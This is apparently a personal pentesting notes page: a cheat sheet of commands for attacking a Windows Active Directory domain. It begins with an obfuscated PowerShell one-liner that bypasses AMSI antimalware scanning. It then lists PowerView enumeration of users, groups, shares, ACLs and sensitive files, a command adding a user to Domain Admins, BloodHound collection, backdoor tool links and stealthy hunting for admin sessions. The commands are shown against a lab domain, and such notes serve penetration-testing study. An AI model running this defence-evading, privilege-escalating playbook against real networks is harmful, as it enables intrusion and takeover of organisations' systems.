429 words

2 minutes

Windows AD Domain Enumeration

2025-02-11

Notes

/

AD

/

windows

User Enumeration#

bypass AMSI#

1
powershell -ep bypass
2
SET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Download powerview#

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

1
import .\Powerview.ps1

Get a list of users in the current domain#

1
Get-DomainUser
2
Get-DomainUser -Name student1

Find User Accounts used as Service Accounts#

1
Get-DomainUser -SPN

Get list of all properties for users in the current domain#

1
Get-DomainUser -Properties pwdlastset
2
Get-DomainUser -Properties badpwdcount
3
Get-DomainUser -Properties lastlogon
4
Get-DomainUser -Properties description
5
Get-DomainUser -Properties samaccountname,description

all enabled users, returning distinguishednames#

1
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname

all disabled users#

1
Get-DomainUser -UACFilter ACCOUNTDISABLE

Domain Group Enumeration#

Get all the groups in the current domain#

1
Get-DomainGroup
2
Get-DomainGroupMember -Name "Domain Admins"
3
Get-DomainGroup -Domain <targetdomain>
4
Get-DomainGroupMember -Name "Domain Admins" -Recurse

Get all the members of the Domain Admins group#

1
Get-NetGroupMember -GroupName "Domain Admins"
2
Get-NetGroupMember  -GroupName "Domain Admins" -Recurse
3
Get-DomainOU
4
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain <DOmain name here>

Get the group membership for a user:#

1
Get-DomainGroup -UserName "student1"

Domain Computer Enumeration#

enumerates computers in the current domain with ‘outlier’ properties, i.e. properties not set from the forest result returned by Get-DomainComputer#

1
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
2
Get-DomainComputer
3
Get-DomainComputer -OperatingSystem "*Server 2016*"
4
Get-DomainComputer  -Ping
5
Get-DomainComputer -Name "Student.pentesting.local"

GPO and OU Enumeration#

A Group Policy Object (GPO) is a virtual collection of policy settings. A GPO has a unique name, such as a GUID.

1
Get-DomainGPO
2
Get-DomainGPO | Select displayname
3
Get-DomainGPO -ComputerName student/ad/dc/web.pentesting.local

Get machines where the given user is member of a specific group#

1
Get-DomainGPOUserLocalGroupMapping -UserName student1 -Verbose
2
Get-domain

enumerate all gobal catalogs in the forest#

1
Get-ForestGlobalCatalog

Get OUs in a domain#

1
Get-DomainOU

Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU#

1
Get-DomainGPO
2
Get-DomainGPO -Name "{AB306569-220D-43FF-B03B83E8F4EF8081}"

File Shares Enumeration#

Find shares on hosts in current domain.#

1
Find-DomainShare -Verbose
2
cd \\fileshare.pentesting.local\FileShare
3
nslookup.exe ad.pentesting.local

Find Non Standard Shares#

1
Find-DomainShare -Verbose -ExcludeStandard -ExcludeIPC -ExcludePrint

Find sensitive files on computers in the domain#

1
Invoke-FileFinder -Verbose

Get all fileservers of the domain#

1
Get-DomainFileServer -Verbose

Intro to ACL#

Get the ACLs associated with the specified object#

1
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs

GenericWrite for all users > under advanced > Write all properties#

1
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericWrite') -and ($_.SecurityIdentifier -match 'S-1-5-21-1070240333-336889418-1185445934-1603') }

Add user to domain admin#

1
net user student1 /domain;
2
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'student1' -Domain "pentesting";
3
net user student1 /domain

Active Directory Recon#

Github : sens-of-security/ADRecon.ps1

BloodHound#

Download Bloodhound GUI#

https://github.com/BloodHoundAD/BloodHound/releases

Download Neoj4#

https://neo4j.com/download-center/#community

Download SharpHound#

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

1
powershell -ep bypass
2
import-module .\SharpHound.ps1
3
Invoke-BloodHound -CollectionMethod All -Verbose -Domain pentesting

User Hunting Domain Enumeration#

Find all machines on the current domain where the current user has local admin access#

1
Test-AdminAccess -Verbose

Tools#

https://raw.githubusercontent.com/admin0987654321/admin1/master/Find-WMILocalAdminAccess.ps1
Find-WMILocalAdminAccess.ps1
https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemotePSRemoting.ps1
FindPSRemotingLocalAdminAccess.ps1

Find local admins on all machines of the domain#

(needs administrator privs on non-dc machines).#

1
Find-DomainLocalGroupMember -Verbose

Find computers where a domain admin (or specified user/group) has sessions:#

1
Find-DomainUserLocation
2
Find-DomainUserLocation -GroupName "RDPUsers"

To confirm admin access#

1
Invoke-Command -ComputerName dc -ScriptBlock{whoami}
2
Enter-PSSession -ComputerName dc
3
Find-DomainUserLocation -CheckAccess

Find computers where a domain admin is logged-in.#

1
Find-DomainUserLocation -Stealth

Windows AD Domain Enumeration

https://zakariaf.vercel.app/posts/ad2/

Author

Zakaria Farahi

Published at

2025-02-11

License

CC BY-NC-SA 4.0

Windows AD Lateral Movement

Windows Domain Persistence and Dominance

Get a list of users in the current domain

Find User Accounts used as Service Accounts

Get list of all properties for users in the current domain

all enabled users, returning distinguishednames

all disabled users

2

Domain Group Enumeration

Get all the groups in the current domain

Get all the members of the Domain Admins group

Get the group membership for a user:

3

Domain Computer Enumeration

enumerates computers in the current domain with ‘outlier’ properties, i.e. properties not set from the forest result returned by Get-DomainComputer

4

GPO and OU Enumeration

Get machines where the given user is member of a specific group

enumerate all gobal catalogs in the forest

Get OUs in a domain

Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU

5

File Shares Enumeration

Find shares on hosts in current domain.

Find Non Standard Shares

Find sensitive files on computers in the domain

Get all fileservers of the domain

6

Intro to ACL

Get the ACLs associated with the specified object

GenericWrite for all users > under advanced > Write all properties

Add user to domain admin

7

Active Directory Recon

8

BloodHound

Download Bloodhound GUI

Download Neoj4

Download SharpHound

9

User Hunting Domain Enumeration

Find all machines on the current domain where the current user has local admin access

Tools

Find local admins on all machines of the domain

Find computers where a domain admin (or specified user/group) has sessions:

To confirm admin access

Find computers where a domain admin is logged-in.